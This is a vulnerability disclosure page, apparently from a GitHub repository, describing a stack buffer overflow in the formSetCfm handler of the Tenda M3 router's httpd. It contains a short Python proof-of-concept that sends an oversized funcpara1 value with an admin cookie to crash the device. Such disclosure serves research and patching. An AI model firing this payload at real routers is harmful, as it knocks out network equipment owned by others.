Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
IoT-vuln/Tenda/M3/formSetCfm/
IoT-vuln/Tenda/M3/formSetCfm/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
 
 
 
 

Overview

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formSetCfm function, which can be accessed via the URL goform/setcfm

image-20220527204740160

When the POST parameter funcname equals "save_list_data", the program will enter if branch at line 67. In this branch, program gets the POST parameter funcpara1 and funcpara2 then passed them to the function sub_45E28

image-20220527205133207

In this function, program will enter the danger section when the length of funcpara2 is greater than 4. In this if branch, program copies funcpara1 to stack buffer by calling function sprintf without checking its length.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"funcname": b"save_list_data",
    b"funcpara1": b'A'*0x400,
    b"funcpara2": b'BBBBB'
    
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setcfm", data=data, cookies=cookies)
print(res.content)

image-20220527205446325